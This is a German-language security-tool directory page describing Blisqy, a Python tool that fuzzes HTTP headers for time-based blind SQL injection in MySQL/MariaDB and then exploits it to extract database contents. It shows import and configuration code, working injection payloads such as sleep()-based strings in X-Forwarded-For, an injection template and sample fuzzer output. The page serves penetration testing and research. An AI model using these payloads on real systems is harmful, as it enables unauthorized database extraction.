Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Blisqy — Version 0.2 - Exploit zeitbasierte blinde SQL-Injection in HTTP-Headern (MySQL/MariaDB). | Kitploit
Tools/GitHubGitHub/johntroony/blisqy
SchwachstellenscannerExploitationWebsicherheitFuzzingDatenbanksicherheit
GitHubjohntroony/blisqy

Blisqy

Version 0.2 - Exploit zeitbasierte blinde SQL-Injection in HTTP-Headern (MySQL/MariaDB).

Repository anzeigen
416111vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

1. Blisqy

Blisqy ist ein Werkzeug, das Web-Sicherheitsforscher dabei unterstützt, zeitbasierte Blind SQL Injection in HTTP-Headern zu finden und dieselbe Schwachstelle auszunutzen.

Die Ausnutzung ermöglicht langsames Absaugen von Daten aus einer Datenbank (unterstützt derzeit nur MySQL/MariaDB) mittels Bit-Operationen auf druckbaren ASCII-Zeichen über eine blind-SQL-Injection.

Für die Interoperabilität mit anderen Python-Werkzeugen und um anderen Benutzern die Nutzung der in Blisqy bereitgestellten Funktionen zu ermöglichen, können die hier enthaltenen Module in andere Python-basierte Skripte importiert werden.

Beim Testen auf Time-based Blind SQL injections können Netzwerkverzögerungen oder Überlastungen die Effektivität Ihres Fuzzings oder der Ausnutzung beeinträchtigen. Um mögliche Netzwerkverzögerungen und Unsicherheiten, die Verzögerungen verursachen könnten, auszugleichen, ist der Zeitvergleich von Blisqy dynamisch und wird zur Laufzeit für jeden Test berechnet. Die Tests nutzen greenlet (eine leichtgewichtige, kooperativ geplante Ausführungseinheit), um eine hochrangige synchrone API auf Basis der libevevent-Schleife bereitzustellen. Es bietet eine schnelle und effiziente Möglichkeit, die Payload-Tests in kurzer Zeit durchzuführen; außerdem sollte ein bestimmter Test keinen anderen beeinträchtigen, da sie nicht vollständig sequenziell ausgeführt werden.

1.1. Neue Funktion(en)

Blisqy unterstützt jetzt Fuzzing für Time-based Blind SQL Injection in HTTP-Headern, und die Hauptfunktionen (Fuzzing und Exploitation) wurden für die Portabilität in separate Dateien aufgeteilt.

1.2. Fuzzing mit Blisqy

Um die Fuzzing-Funktionalität zu nutzen, importieren Sie das folgende Modul in Ihr Python-Skript und geben Sie ein Ziel zusammen mit den Fuzzing-Daten an, wie unten gezeigt:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

Zielparameter sollten im Dictionary/JSON-Format vorliegen, zum Beispiel (Beachten Sie die Variablendatentypen):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

Das Aufrufen des Fuzzers nach Angabe der Zielparameter erfolgt wie unten gezeigt:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Sie können sich FindBlindSpot.py für dieses bereitgestellte Beispiel ansehen.

1.2.1. Beispiel-Fuzzing-Ausgabe

Wenn Sie erfolgreich sind, sollten Sie einen Bericht über die durchgeführten 'injectable'-Tests erhalten. Bitte beachten Sie, dass es trotz der Bemühungen von Blisqy, Netzwerkverzögerungen und Überlastungen während des Tests auszugleichen, wichtig ist, die gemeldeten positiven Tests vor dem Fortfahren zu verifizieren.

Unten ist ein Beispielbericht:

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Screenshot des Blisqy-Fuzzers in Aktion:

Fuzz for Blind SQLi

1.3. Exploitation mit Blisqy

Nachdem Sie eine potenzielle Time-based Blind SQL injection gefunden haben, können Sie ein Skript vorbereiten, um die angreifbare Webanwendung auszunutzen.

Genau wie beim Fuzzer können Sie das Modul für die Exploitation in Ihr Python-Skript importieren und eine Vorlage für den Exploitationsvorgang definieren. Unten ist ein Beispiel, wie das Modul in ein Python-Skript importiert wird:

root@kitploit:~
from lib.blindexploit import SqlEngine

Als nächstes müssen Sie Details zu Ihrem Ziel zusammen mit seinen Zielparametern für die Exploitation angeben. Unten ist eine Beispielimplementierung der Ausnutzung der vom Fuzzer gefundenen blinden SQL-Injection:

Die Zieldaten sollten im Dictionary/JSON-Format vorliegen, das Server, Port, den gefundenen verwundbaren Header und seinen Wert angibt (manche Anwendungen benötigen oder überprüfen einen bestimmten Wert). Beachten Sie auch die Variablendatentypen.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

Die Zielparameter sollten folgen, damit der Benutzer einige Optionen bezüglich der Exploitation-Präferenzen festlegen kann.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime ist die Verzögerung, die in den Payloads verwendet werden soll
  • payload ist eine Option, um die Exploitation mit einer benutzerdefinierten SQL-Abfrage auszuführen, z.B. select @@hostname. Der Standardwert ist 'pass'.
  • mysqlDig ermöglicht, dass die Exploitation automatisch abläuft und alle verfügbaren Tabellen im Schema aufzählt.
  • interactive ist eine Option, die es dem Benutzer ermöglicht, mit dem Exploitationsvorgang zu interagieren. Dies kann nützlich sein, wenn Sie zu den interessanten Teilen der DB springen möchten.
  • verbosity kann high, medium oder low sein. Dies steuert lediglich die Ausgabeinformationen des Exploitationsvorgangs.

Nach Angabe Ihres Ziels und seiner Parameter ist als nächstes eine Vorlage für den Exploitationsvorgang bereitzustellen. Blisqy bietet eine Möglichkeit, dass Benutzer angeben können, wo das Exfiltrations-SQL-Payload und die sleeptime-Verzögerung injiziert werden sollen. Unten ist ein Beispiel einer Implementierung für eine der gefundenen Schwachstellen aus dem Beispielbericht des vorherigen Unterabschnitts.

Gefundene Injection im X-Forwarded-For-Header:

root@kitploit:~
' or sleep(1)='

Vorlage für diese spezielle Injection:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Während der Laufzeit wird *sql* durch ein SQL-Injection-Payload und *time* durch eine Verzögerung für sleep() ersetzt.

Sobald all dies erledigt ist, besteht der letzte Teil darin, den Exploitationsvorgang zu instanziieren und die Methode MysqlDigger() die Arbeit erledigen zu lassen.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

Sie können sich ExploitBlindSpot.py für dieses bereitgestellte Beispiel ansehen.

Unten ist ein Beispiel eines Exploitationsvorgangs:

Exploit Blind SQLi

1.4. To Do

  • Integration eines intelligenten Fuzzers zur Jagd nach SQL-Injection-Schwachstellen in HTTP-Headern und Web-Elementen
  • Unterstützung von Blind-SQLi-Fuzzing und -Exploitation auf WEB-Endpunkten zusätzlich zu HTTP-Headern.

1.4.1. Mitwirken

Sie können mich über alles Interessante informieren, das Sie mit Blisqy gefunden haben, oder darüber, was Ihrer Meinung nach hinzugefügt/entfernt werden sollte.

  • Teilen Sie Ihre Ideen und Wunschliste,
  • Tippfehler entdeckt? Lassen Sie es mich wissen,
  • Wege gefunden, wie wir Blisqy optimieren können?,
  • Schlagen Sie Möglichkeiten vor, wie Unterstützung für andere DBMS integriert werden kann.

1.4.2. Referenzen

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Verfügbar von: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Tool herunterladen